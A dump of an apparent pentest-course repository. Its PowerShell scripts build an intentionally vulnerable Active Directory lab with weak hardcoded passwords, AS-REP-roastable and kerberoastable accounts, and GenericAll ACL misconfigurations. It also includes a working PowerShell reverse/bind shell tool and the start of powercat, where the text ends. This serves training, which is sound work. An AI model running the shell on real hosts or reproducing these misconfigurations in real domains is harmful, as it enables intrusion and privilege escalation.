├── .github └── FUNDING.yml ├── Invoke-ADGenerator.ps1 ├── Invoke-ForestDeploy.ps1 ├── NameGen.ps1 ├── README.md ├── Tools ├── Invoke-Mimikatz.ps1 ├── Invoke-PowerShellTcp.ps1 ├── PowerUp.ps1 ├── PowerView.ps1 ├── PowerView_dev.ps1 └── powercat.ps1 ├── coursewordlist └── images ├── Become-a-patron-button.png └── powershell.jpg /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: themayor 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: themayor 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /Invoke-ADGenerator.ps1: -------------------------------------------------------------------------------- 1 | function ShowBanner { 2 | $banner = @() 3 | $banner+= $Global:Spacing + '' 4 | $banner+= $Global:Spacing + ' ___ ____ ______ __ ' 5 | $banner+= $Global:Spacing + ' / | / __ \ / ____/__ ____ ___ _________ _/ /_____ _____' 6 | $banner+= $Global:Spacing + ' / /| | / / / / / / __/ _ \/ __ \/ _ \/ ___/ __ `/ __/ __ \/ ___/' 7 | $banner+= $Global:Spacing + ' / ___ |/ /_/ / / /_/ / __/ / / / __/ / / /_/ / /_/ /_/ / / ' 8 | $banner+= $Global:Spacing + '/_/ |_/_____/ \____/\___/_/ /_/\___/_/ \__,_/\__/\____/_/ ' 9 | $banner+= $Global:Spacing + ' Powershell for Pentesters Version ' 10 | $banner+= $Global:Spacing + ' Vulnerable Active Directory Domain Generator by The Mayor ' 11 | $banner+= $Global:Spacing + '' 12 | $banner | foreach-object { 13 | Write-Host $_ -ForegroundColor "Yellow" 14 | } 15 | } 16 | 17 | function Write-Good { param( $String ) Write-Host $Global:InfoLine $String $Global:InfoLine1 -ForegroundColor 'Green' } 18 | function Write-Info { param( $String ) Write-Host $Global:PlusLine $String -ForegroundColor 'Gray'} 19 | $Global:Spacing = "`t" 20 | $Global:PlusLine = "`t[+]" 21 | $Global:InfoLine = "`t[*]" 22 | $Global:InfoLine1 = "[*]" 23 | 24 | #Group Generation 25 | $Global:Senior = "Senior Management" 26 | $Global:ITAdmins = "IT Admins" 27 | $Global:Engineering = "Engineering" 28 | $Global:Sales = "Sales" 29 | 30 | 31 | #Domain Information 32 | $Global:Domain = ""; 33 | 34 | function promoteUser { 35 | $username = ((gwmi win32_computersystem).username).split('\')[1] 36 | Write-Good "Promoting $username to appropriate Domain Administrative roles required for the course." 37 | Write-Info "Promoting $username to Enterprise Administrator." 38 | net group "Enterprise Admins" $username /add /domain 39 | Write-Info "Promoting $username to Domain Administrator." 40 | net group "Domain Admins" $username /add /domain 41 | Write-Info "Promoting $username to Group Policy Creator Owners." 42 | net group "Group Policy Creator Owners" $username /add /domain 43 | Write-Info "Promoting $username to Local Administrator (error output may occur - this is expected)." 44 | net localgroup "administrators" $username /add 45 | } 46 | 47 | function renameDC { 48 | $username = whoami 49 | Write-Good "Renaming the domain controller to DC01" 50 | Rename-computer -NewName "DC01" -DomainCredential $username 51 | mkdir C:\Shared; new-smbshare -Name "Shared" -Path "C:\Shared" -ReadAccess "Users" 52 | wget https://github.com/dievus/PowerShellForPentesters/archive/refs/heads/main.zip -outfile C:\Shared\adgenerator.zip 53 | Expand-Archive -Path C:\Shared\adgenerator.zip -DestinationPath C:\Shared\adgenerator 54 | } 55 | 56 | function AddADGroup { 57 | $domainFront = $Global:domain.split('.')[0] 58 | $domainBack = $Global:domain.split('.')[1] 59 | Write-Good "Creating Domain Groups" 60 | New-ADGroup -name $Global:Senior -GroupScope Global 61 | Write-Info "Adding $Global:Senior to $Global:domain" 62 | New-ADGroup -name $Global:ITAdmins -GroupScope Global 63 | Write-Info "Adding $Global:ITAdmins to $Global:domain" 64 | New-ADGroup -name $Global:Engineering -GroupScope Global 65 | Write-Info "Adding $Global:Engineering to $Global:domain" 66 | New-ADGroup -name $Global:Sales -GroupScope Global 67 | Write-Info "Adding $Global:Sales to $Global:domain" 68 | Write-Good "Generating Organizational Units for the $Global:domain." 69 | New-ADOrganizationalUnit -Name "SeniorManagement" -Path "DC=$domainFront,DC=$domainBack" 70 | New-ADOrganizationalUnit -Name "ITAdmins" -Path "DC=$domainFront,DC=$domainBack" 71 | New-ADOrganizationalUnit -Name "Engineering" -Path "DC=$domainFront,DC=$domainBack" 72 | New-ADOrganizationalUnit -Name "Sales" -Path "DC=$domainFront,DC=$domainBack" 73 | Write-Info "Organizational Units added." 74 | } 75 | 76 | function AddADUser { 77 | Write-Good "Creating Domain Users" 78 | $firstname = "Aaron" 79 | $lastname = "Adams" 80 | $fullname = "{0} {1}" -f ($firstname, $lastname) 81 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 82 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 83 | $password = "C0nc0Rd1776!" 84 | $domainFront = $Global:domain.split('.')[0] 85 | $domainBack = $Global:domain.split('.')[1] 86 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=SeniorManagement,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 87 | Write-Info "$samAccountName added" 88 | Write-Info "Adding $samAccountName to $Global:Senior Group" 89 | Add-ADGroupMember -Identity $Global:Senior -Members $samAccountName 90 | Write-Info "Adding $samAccountName to Domain Administrators Group" 91 | Add-ADGroupMember -Identity "Domain Admins" -Members $samAccountName 92 | $firstname = "Jonathon" 93 | $lastname = "Taylor" 94 | $fullname = "{0} {1}" -f ($firstname, $lastname) 95 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 96 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 97 | $password = "Lexington1776!" 98 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=ITAdmins,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 99 | Write-Info "$samAccountName added" 100 | Write-Info "Adding $samAccountName to $Global:ITAdmins Group" 101 | Add-ADGroupMember -Identity $Global:ITAdmins -Members $samAccountName 102 | Add-ADGroupMember -Identity "Administrators" -Members $samAccountName 103 | $firstname = "Jillian" 104 | $lastname = "Anthony" 105 | $fullname = "{0} {1}" -f ($firstname, $lastname) 106 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 107 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 108 | $password = "H1dD3nV4ll3y!" 109 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Engineering,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 110 | Write-Info "$samAccountName added" 111 | Write-Info "Adding $samAccountName to $Global:Engineering Group" 112 | Add-ADGroupMember -Identity $Global:Engineering -Members $samAccountName 113 | $firstname = "Tabitha" 114 | $lastname = "Carter" 115 | $fullname = "{0} {1}" -f ($firstname, $lastname) 116 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 117 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 118 | $password = "AhArGuY5Nm7U3!@" 119 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Engineering,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 120 | Write-Info "$samAccountName added" 121 | Write-Info "Adding $samAccountName to $Global:Engineering Group" 122 | Add-ADGroupMember -Identity $Global:Engineering -Members $samAccountName 123 | $firstname = "Megan" 124 | $lastname = "Phillips" 125 | $fullname = "{0} {1}" -f ($firstname, $lastname) 126 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 127 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 128 | $password = "L4k3LiV3L0ve!" 129 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Engineering,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 130 | Write-Info "$samAccountName added" 131 | Write-Info "Adding $samAccountName to $Global:Engineering Group" 132 | Add-ADGroupMember -Identity $Global:Engineering -Members $samAccountName 133 | Add-ADGroupMember -Identity "Group Policy Creator Owners" -Members $samAccountName 134 | $firstname = "Richard" 135 | $lastname = "Smith" 136 | $fullname = "{0} {1}" -f ($firstname, $lastname) 137 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 138 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 139 | $password = "Baseball123!" 140 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Engineering,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 141 | Write-Info "$samAccountName added" 142 | Write-Info "Adding $samAccountName to $Global:Engineering Group" 143 | Add-ADGroupMember -Identity $Global:Engineering -Members $samAccountName 144 | $firstname = "Samantha" 145 | $lastname = "Chisholm" 146 | $fullname = "{0} {1}" -f ($firstname, $lastname) 147 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 148 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 149 | $password = "FallOutBoy1!" 150 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Sales,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 151 | Write-Info "$samAccountName added" 152 | Write-Info "Adding $samAccountName to $Global:Sales" 153 | Add-ADGroupMember -Identity $Global:Sales -Members $samAccountName 154 | $firstname = "Margaret" 155 | $lastname = "Seitz" 156 | $fullname = "{0} {1}" -f ($firstname, $lastname) 157 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 158 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 159 | $password = "Phi11i35@44" 160 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Engineering,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 161 | Write-Info "$samAccountName added" 162 | Write-Info "Adding $samAccountName to $Global:Engineering Group" 163 | Add-ADGroupMember -Identity $Global:Engineering -Members $samAccountName 164 | $firstname = "Aaron" 165 | $lastname = "Tarolli" 166 | $fullname = "{0} {1}" -f ($firstname, $lastname) 167 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 168 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 169 | $password = "Password123!" 170 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Sales,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 171 | Write-Info "$samAccountName added" 172 | Write-Info "Adding $samAccountName to $Global:Sales" 173 | Add-ADGroupMember -Identity $Global:Sales -Members $samAccountName 174 | $firstname = "Zane" 175 | $lastname = "Dickens" 176 | $fullname = "{0} {1}" -f ($firstname, $lastname) 177 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 178 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 179 | $password = "M0t0rH3Ad65^$#" 180 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Path "OU=Sales,DC=mayorsec,DC=local" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 181 | Write-Info "$samAccountName added" 182 | Write-Info "Adding $samAccountName to $Global:Sales" 183 | Add-ADGroupMember -Identity $Global:Sales -Members $samAccountName 184 | 185 | $firstname = "SearchField" 186 | $lastname = "Example" 187 | $fullname = "{0} {1}" -f ($firstname, $lastname) 188 | $SamAccountName = ("{0}.{1}" -f ($firstname.Substring(0,1), $lastname)).ToLower() 189 | $principalname = "{0}.{1}" -f ($firstname.Substring(0,1), $lastname) 190 | $password = "adsfASDFwq322!21" 191 | New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -Description "Password - adsfASDFwq322!21" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru | Enable-ADAccount 192 | } 193 | 194 | function ASREPRoasting { 195 | $asrepUser = "a.tarolli" 196 | Write-Good "Modifying pre-authentication privileges" 197 | Set-ADAccountControl -Identity $asrepUser -DoesNotRequirePreAuth 1 198 | Write-Info "ASREP privileges granted to $asrepUser" 199 | } 200 | 201 | function kerberoasting { 202 | $svc = "mssql_svc" 203 | #$spn = "mssqlserver" 204 | $kerb_pass = "Password123!" 205 | Write-Good "Adding Kerberoastable service account to domain" 206 | net user $svc $kerb_pass /add /domain 207 | #New-ADServiceAccount -Name $svc -ServicePrincipalNames "mssql_svc/mssqlserver.$Global:domain" -RestrictToSingleComputer -AccountPassword (ConvertTo-SecureString $kerb_pass -AsPlainText -Force) 208 | #Set-ADServiceAccount mssql_svc -PrincipalsAllowedToDelegateToAccount (Get-ADComputer Workstation-01) 209 | Get-ADComputer -Identity Workstation-01 | Set-ADAccountControl -TrustedForDelegation $true 210 | setspn -a DC01/$svc.$Global:Domain:60111 $domainFront\$svc 211 | Write-Info "mssql_svc service account added" 212 | } 213 | 214 | function AD-AddACL { 215 | [CmdletBinding()] 216 | param( 217 | [Parameter(Mandatory=$true)] 218 | [ValidateNotNullOrEmpty()] 219 | [string]$Destination, 220 | 221 | [Parameter(Mandatory=$true)] 222 | [ValidateNotNullOrEmpty()] 223 | [System.Security.Principal.IdentityReference]$Source, 224 | 225 | [Parameter(Mandatory=$true)] 226 | [ValidateNotNullOrEmpty()] 227 | [string]$Rights 228 | 229 | ) 230 | $ADObject = [ADSI]("LDAP://" + $Destination) 231 | $identity = $Source 232 | $adRights = [System.DirectoryServices.ActiveDirectoryRights]$Rights 233 | $type = [System.Security.AccessControl.AccessControlType] "Allow" 234 | $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All" 235 | $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$inheritanceType 236 | $ADObject.psbase.ObjectSecurity.AddAccessRule($ACE) 237 | $ADObject.psbase.commitchanges() 238 | } 239 | 240 | function badAcls { 241 | Write-Good "Granting $Global:ITAdmins GenericAll rights on Domain Admins." 242 | $DestinationGroup = Get-ADGroup -Identity "$Global:ITAdmins" 243 | $SourceGroup = Get-ADGroup -Identity "Domain Admins" 244 | AD-AddACL -Source $DestinationGroup.sid -Destination $SourceGroup.DistinguishedName -Rights "GenericAll" 245 | Write-Info "$Global:ITAdmins group granted GenericAll permissions for the Domain Admins group." 246 | Write-Good "Adding misconfigured ACL rule for the $Global:Engineering group." 247 | $DestinationGroup = Get-ADGroup -Identity $Global:Engineering 248 | $SourceGroup = Get-ADGroup -Identity $Global:ITAdmins 249 | AD-AddACL -Source $DestinationGroup.sid -Destination $SourceGroup.DistinguishedName -Rights "GenericAll" 250 | Write-Info "Whoops! GenericAll rights granted to $Global:Engineering." 251 | Write-Good "Adding misconfigured ACL rule for Margaret Seitz." 252 | $vulnAclUser = Get-ADUser -Identity "m.seitz" 253 | $SourceUser = Get-ADUser -Identity "j.taylor" 254 | AD-AddACL -Source $vulnAclUser.sid -Destination $SourceUser.DistinguishedName -Rights "GenericAll" 255 | Write-Info "Whoops! GenericAll rights granted to m.seitz." 256 | Write-Good "Adding misconfigured ACL rule for the $Global:Sales group." 257 | $DestinationGroup = Get-ADGroup -Identity $Global:Sales 258 | $SourceGroup = Get-ADGroup -Identity $Global:Engineering 259 | AD-AddACL -Source $DestinationGroup.sid -Destination $SourceGroup.DistinguishedName -Rights "GenericAll" 260 | Write-Info "Whoops! GenericAll rights granted to $Global:Sales." 261 | 262 | } 263 | 264 | function PSRemote { 265 | Write-Good "Configuring some GPO policies required for the domain." 266 | import-module grouppolicy 267 | $domain = Get-ADDomain 268 | $forest = $domain.Forest 269 | $DN = $domain.DistinguishedName 270 | 271 | $FwRule = "Allow WinRM TCP 5985 To Domain Joined Systems" 272 | $GpoName = "WinRM Firewall TCP 5985" 273 | $TargetOU = $DN 274 | $PolicyStoreName = "$forest\" + $GpoName 275 | New-Gpo -Name $GpoName | New-Gplink -target $TargetOU 276 | $GpoSessionName = Open-NetGPO -PolicyStore $PolicyStoreName 277 | New-NetFirewallRule -DisplayName $FwRule -Profile Any -Direction Inbound -GPOSession $GpoSessionName -PolicyStore $GpoName -Protocol TCP -LocalPort 5985 278 | Save-NetGPO -GPOSession $GpoSessionName 279 | Write-Info "A GPO for PowerShell Remoting was created for authenticated users on the domain." 280 | } 281 | 282 | function Set-WinRMPolicy { 283 | Write-Good "Configuring GPO policies to enable PowerShell remoting on hosts." 284 | $domainGPO = Get-ADDomain 285 | $forest = $domainGPO.Forest 286 | $DN = $domainGPO.DistinguishedName 287 | $GpoName = "Enable PSRemoting Desktops" 288 | $TargetOU = $DN 289 | $PolicyStoreName = "$forest\" + $GpoName 290 | New-Gpo -Name $GpoName | New-Gplink -target $TargetOU 291 | 292 | $domain = (Get-ADDomain).forest 293 | $id = (Get-GPO -name $GpoName).id 294 | $RemotingParams = @{ 295 | Name=$GpoName; 296 | Key = 'HKLM\Software\Policies\Microsoft\Windows\WinRM\Service'; 297 | } 298 | 299 | try { 300 | Set-GPRegistryValue @RemotingParams -ValueName 'AllowAutoConfig' -Value 1 -Type DWord 301 | Set-GPRegistryValue @RemotingParams -ValueName 'IPv4Filter' -Value '*' -Type String 302 | Set-GPRegistryValue @RemotingParams -ValueName 'IPv6Filter' -Value '*' -Type String 303 | Write-Info "Registry setting for Powershell Remoting OK!" 304 | } 305 | catch { "Error enabling remoting policy" } 306 | 307 | $ServiceParams = @{ 308 | Name=$GpoName; 309 | Key = 'HKLM\SYSTEM\CurrentControlSet\Services\WinRM'; 310 | } 311 | 312 | try { 313 | Set-GPRegistryValue @ServiceParams -ValueName 'Start' -Value 2 -Type DWord 314 | Set-GPRegistryValue @ServiceParams -ValueName 'DelayedAutoStart' -Value 0 -Type DWord 315 | Write-Info "Service setting for Powershell Remoting OK!" 316 | } 317 | catch { "Error enabling remoting policy" } 318 | } 319 | 320 | function Invoke-ADGenerator { 321 | Param( 322 | [Parameter(Mandatory=$True)] 323 | [ValidateNotNullOrEmpty()] 324 | [System.String] 325 | $DomainName 326 | ) 327 | ShowBanner 328 | $Global:Domain = $DomainName 329 | promoteUser 330 | Write-Good "Administrative privilege delegation completed." 331 | renameDC 332 | Write-Good "Domain controller renamed." 333 | AddADGroup 334 | Write-Good "Group creation completed." 335 | AddADUser 336 | Write-Good "User creation completed" 337 | ASREPRoasting 338 | Write-Good "ASREP settings update completed." 339 | kerberoasting 340 | Write-Good "Kerberoastable service creation completed." 341 | badAcls 342 | Write-Good "ACL misconfigurations completed." 343 | PSRemote 344 | Write-Good "GPO configurations completed." 345 | Set-WinRMPolicy 346 | Write-Good "Domain-wide PowerShell Remoting GPO configuration completed." 347 | Write-Good "Some changes require a restart to take effect. Restarting your domain controller in 30 seconds." 348 | Start-Sleep -Seconds 30 349 | Restart-Computer 350 | } 351 | -------------------------------------------------------------------------------- /Invoke-ForestDeploy.ps1: -------------------------------------------------------------------------------- 1 | function ShowBanner { 2 | $banner = @() 3 | $banner+= $Global:Spacing + '' 4 | $banner+= $Global:Spacing + ' ______ __ ____ __ ' 5 | $banner+= $Global:Spacing + ' / ____/___ ________ _____/ /_ / __ \___ ____ / /___ __ __' 6 | $banner+= $Global:Spacing + ' / /_ / __ \/ ___/ _ \/ ___/ __/_____/ / / / _ \/ __ \/ / __ \/ / / /' 7 | $banner+= $Global:Spacing + ' / __/ / /_/ / / / __(__ ) /_/_____/ /_/ / __/ /_/ / / /_/ / /_/ / ' 8 | $banner+= $Global:Spacing + ' /_/ \____/_/ \___/____/\__/ /_____/\___/ .___/_/\____/\__, / ' 9 | $banner+= $Global:Spacing + ' /_/ /____/ ' 10 | $banner+= $Global:Spacing + ' PowerShell for Pentesters Version ' 11 | $banner+= $Global:Spacing + ' Domain Deployment Script by TheMayor ' 12 | $banner+= $Global:Spacing + '' 13 | $banner | foreach-object { 14 | Write-Host $_ -ForegroundColor "Yellow" 15 | } 16 | } 17 | 18 | function Write-Good { param( $String ) Write-Host $Global:InfoLine $String $Global:InfoLine1 -ForegroundColor 'Green' } 19 | function Write-Info { param( $String ) Write-Host $String -ForegroundColor 'Gray'} 20 | $Global:Spacing = "`t" 21 | $Global:PlusLine = "`t[+]" 22 | $Global:InfoLine = "`t[*]" 23 | $Global:InfoLine1 = "[*]" 24 | 25 | 26 | function addsInstall { 27 | Write-Good "Installing Windows AD Domain Services Toolset." 28 | Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools 29 | Write-Info "`n`nToolset installed.`n`n" 30 | } 31 | 32 | function forestDeploy { 33 | Write-Good "Generating the domain. Make note of the domain name for the ADGenerator Script to be ran after the controller is built." 34 | $DomainNetBiosName = $DomainName.split('.')[0] 35 | Install-ADDSForest -DomainName $DomainName -DomainNetBiosName $DomainNetBiosName -InstallDNS:$true 36 | Write-Info "`n`nRestart the controller if not instructed." 37 | } 38 | 39 | function Invoke-ForestDeploy { 40 | Param( 41 | [Parameter(Mandatory=$True)] 42 | [ValidateNotNullOrEmpty()] 43 | [System.String] 44 | $DomainName 45 | ) 46 | ShowBanner 47 | addsInstall 48 | forestDeploy 49 | } 50 | -------------------------------------------------------------------------------- /NameGen.ps1: -------------------------------------------------------------------------------- 1 | # This PS1 script is used to generate the appropriate name for your workstations, i.e. Workstation-01 or Workstation-02. Not for use on your Domain Controller. 2 | # Run this script from an elevated command prompt and enter your credentials when prompted. The computer will be renamed at the DC and a file share will be 3 | # generated on the Workstation created for you to use across the exercises. 4 | 5 | function renamePC { 6 | $username = whoami 7 | Rename-computer -NewName $ComputerName -DomainCredential $username 8 | } 9 | 10 | function Share { 11 | mkdir C:\Shared; new-smbshare -Name "Shared" -Path "C:\Shared" -FullAccess "Users" 12 | } 13 | 14 | function enableRDPRemoting { 15 | Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 16 | Enable-NetFirewallRule -DisplayGroup "Remote Desktop" 17 | } 18 | 19 | function executeScript { 20 | Param( 21 | [Parameter(Mandatory=$True)] 22 | [ValidateNotNullOrEmpty()] 23 | [System.String] 24 | $ComputerName 25 | ) 26 | renamePC 27 | Share 28 | } 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerShellForPentesters 2 | 3 | ![MayorSec](/images/powershell.jpg) 4 | [![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/M4M03Q2JN) 5 | 6 | 7 | Playlist Link - 8 | https://youtube.com/playlist?list=PLJQHPJLj_SQatUsJy3O4k-VQlllquDmDr 9 | 10 | PowerShell for Pentesters is a basic introduction to using PowerShell on internal penetration tests. This course is essentially the PowerShell module from my popular Movement, Pivoting, and Persistence course on TCM Academy and Udemy. In the course we will cover: 11 | 12 | - User, group, and workstation enumeration 13 | - Domain enumeration 14 | - Downloading with PowerShell 15 | - Group Policy Enumeration 16 | - ACL Enumeration 17 | - PowerShell Remoting 18 | - PowerView and other popular offensive PowerShell scripts 19 | - Mimikatz exploitation 20 | 21 | Scripts are provided for easy installation of Active Directory functionality, however no instruction will be given on installing virtual machines in video. A lab guide provided in this repo will outline the basics for installing your network on Virtualbox. The process is similar on VMWare Workstation and Workstation Pro. 22 | 23 | You will need Hashcat for the course, which is accessible at https://hashcat.net/hashcat/. You can also access Hashcat through Kali Linux if you have it installed. A course wordlist is included in the repo which contains user passwords when necessary, and will not require a GPU to crack. 24 | 25 | 26 | # ADGenerator 27 | 28 | This script will auto-generate the required users, groups, and permissions necessary for my Powershell for Pentesters course. 29 | # Instructions 30 | 31 | In order to generate a functional domain controller and active directory, the listed PowerShell scripts need to be executed in the following order: 32 | - Invoke-ForestDeploy.ps1 33 | 34 | ```. .\Invoke-ForestDeploy.ps1``` 35 | 36 | ```Invoke-ForestDeploy -DomainName ``` 37 | 38 | This will install the Windows Active Directory Domain Services toolset and generate the actual domain. Follow the instructions on screen, making note of the domain name used as this will be needed later. 39 | 40 | - Invoke-ADGenerator.ps1 41 | 42 | ```. .\Invoke-ADGenerator.ps1``` 43 | 44 | ```Invoke-ADGenerator -DomainName ``` 45 | 46 | This will generate the appropriate users, groups, permissions, configurations, and misconfigurations needed for the actual course. 47 | 48 | - NameGen.ps1 49 | 50 | ```. .\NameGen.ps1``` 51 | 52 | ```executeScript -ComputerName Workstation-01``` 53 | 54 | This is ran on the Workstation-01 machine created to appropriately name the workstation in the domain. Ensure that you use -ComputerName flag and specify Workstation-01. 55 | -------------------------------------------------------------------------------- /Tools/Invoke-PowerShellTcp.ps1: -------------------------------------------------------------------------------- 1 | function Power 2 | { 3 | [CmdletBinding(DefaultParameterSetName="reverse")] Param( 4 | 5 | [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] 6 | [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] 7 | [String] 8 | $IPAddress, 9 | 10 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] 11 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] 12 | [Int] 13 | $Port, 14 | 15 | [Parameter(ParameterSetName="reverse")] 16 | [Switch] 17 | $Reverse, 18 | 19 | [Parameter(ParameterSetName="bind")] 20 | [Switch] 21 | $Bind 22 | 23 | ) 24 | 25 | 26 | try 27 | { 28 | #Connect back if the reverse switch is used. 29 | if ($Reverse) 30 | { 31 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 32 | } 33 | 34 | #Bind to the provided port if Bind switch is used. 35 | if ($Bind) 36 | { 37 | $listener = [System.Net.Sockets.TcpListener]$Port 38 | $listener.start() 39 | $client = $listener.AcceptTcpClient() 40 | } 41 | 42 | $stream = $client.GetStream() 43 | [byte[]]$bytes = 0..65535|%{0} 44 | 45 | #Send back current username and computername 46 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 47 | $stream.Write($sendbytes,0,$sendbytes.Length) 48 | 49 | #Show an interactive PowerShell prompt 50 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 51 | $stream.Write($sendbytes,0,$sendbytes.Length) 52 | 53 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 54 | { 55 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 56 | $data = $EncodedText.GetString($bytes,0, $i) 57 | try 58 | { 59 | #Execute the command on the target. 60 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 61 | } 62 | catch 63 | { 64 | Write-Warning "Something went wrong with execution of command on the target." 65 | Write-Error $_ 66 | } 67 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 68 | $x = ($error[0] | Out-String) 69 | $error.clear() 70 | $sendback2 = $sendback2 + $x 71 | 72 | #Return the results 73 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 74 | $stream.Write($sendbyte,0,$sendbyte.Length) 75 | $stream.Flush() 76 | } 77 | $client.Close() 78 | if ($listener) 79 | { 80 | $listener.Stop() 81 | } 82 | } 83 | catch 84 | { 85 | Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 86 | Write-Error $_ 87 | } 88 | } 89 | 90 | -------------------------------------------------------------------------------- /Tools/powercat.ps1: -------------------------------------------------------------------------------- 1 | function powercat 2 | { 3 | param( 4 | [alias("Client")][string]$c="", 5 | [alias("Listen")][switch]$l=$False, 6 | [alias("Port")][Parameter(Position=-1)][string]$p="", 7 | [alias("Execute")][string]$e="", 8 | [alias("ExecutePowershell")][switch]$ep=$False, 9 | [alias("Relay")][string]$r="", 10 | [alias("UDP")][switch]$u=$False, 11 | [alias("dnscat2")][string]$dns="", 12 | [alias("DNSFailureThreshold")][int32]$dnsft=10, 13 | [alias("Timeout")][int32]$t=60, 14 | 